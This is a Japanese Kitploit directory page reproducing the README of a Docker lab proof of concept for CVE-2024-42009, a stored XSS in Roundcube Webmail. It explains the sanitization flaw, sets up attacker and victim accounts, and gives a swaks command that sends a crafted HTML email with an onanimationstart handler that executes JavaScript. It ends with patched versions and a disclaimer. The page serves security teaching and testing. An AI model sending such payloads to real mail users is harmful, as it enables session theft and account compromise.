Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-42009 — CVE-2024-42009(Roundcube Webmailの格納型XSS)のDockerベースの概念実証。巧妙に細工されたHTMLメールを介した悪用を示し、脆弱なラボ環境のセットアップを含みます。 | Kitploit
ツール/GitHubGitHub/zaidarif47/cve-2024-42009
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティ学習と教育ラボと実践
GitHubzaidarif47/cve-2024-42009

CVE-2024-42009

CVE-2024-42009(Roundcube Webmailの格納型XSS)のDockerベースの概念実証。巧妙に細工されたHTMLメールを介した悪用を示し、脆弱なラボ環境のセットアップを含みます。

リポジトリを見る
14ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-42009 – Roundcube 保存型XSS (Docker PoC)

📌 概要

このリポジトリは、Roundcube Webmail の CVE-2024-42009(保存型クロスサイトスクリプティング(XSS)の脆弱性)に対する実証コード(PoC)を示しています。

この脆弱性は、不適切なHTMLサニタイズとその後の安全でない属性の再処理に起因し、攻撃者が細工したHTMLメールを介して悪意のあるイベントハンドラを注入することを可能にします。


⚠️ 影響を受けるバージョン

  • Roundcube ≤ 1.5.7
  • Roundcube ≤ 1.6.7

🧠 脆弱性の概要

Roundcube は受信したHTMLメールをサニタイズしますが、その後特定の属性(例:bgcolor、不正な形式の属性)を再処理するため、以下の問題が発生します:

  • 属性境界の混乱
  • 新しい属性の注入
  • 危険なイベントハンドラ(例:onanimationstart)の再導入

これにより、被害者が悪意のあるメールを開くと任意のJavaScriptが実行される可能性があります。


🐳 環境構築 (Docker)

1. リポジトリのクローン

root@kitploit:~
git clone https://github.com/ZaidArif47/CVE-2024-42009-PoC.git
cd CVE-2024-42009-PoC

2. 脆弱なラボの起動

root@kitploit:~
docker compose up -d

⏳ メールサーバーの初期化に約10~15秒お待ちください。


3. テストユーザーの作成

root@kitploit:~
docker exec mailserver setup email add [email protected] 'attacker123'
docker exec mailserver setup email add [email protected] 'victim123'

4. Roundcube へのアクセス

root@kitploit:~
http://localhost:8080

認証情報:

  • [email protected] / victim123
  • [email protected] / attacker123

💣 エクスプロイト

swaks ツールを使用して悪意のあるメールを送信します:

root@kitploit:~
swaks --to [email protected] \
      --from [email protected] \
      --server localhost:2525 \
      --header "Content-Type: text/html; charset=utf-8" \
      --header "Subject: CVE-2024-42009 PoC" \
      --body '<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=alert(1) foo=bar">Foo</body>'

📸 概念実証

  1. Roundcube の被害者アカウントにログイン
  2. メールの受信箱を開く
  3. JavaScript が実行される(アラートが表示される)

1. 悪意のあるメールの配送

Step 1

2. XSS のトリガー

Step 3


🛡️ 緩和策

パッチ適用済みのバージョンにアップグレード:

  • Roundcube ≥ 1.6.8
  • Roundcube ≥ 1.5.8

📚 参考情報

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2024-42009
  • Sonarsource: https://www.sonarsource.com/blog/government-emails-at-risk-critical-cross-site-scripting-vulnerability-in-roundcube-webmail/#desanitization-in-inline-email-rendering-cve202442009

⚖️ 免責事項

このプロジェクトは教育および許可されたセキュリティ研究目的のみに使用してください。 適切な許可なくシステムに対して使用しないでください。

ツールをダウンロード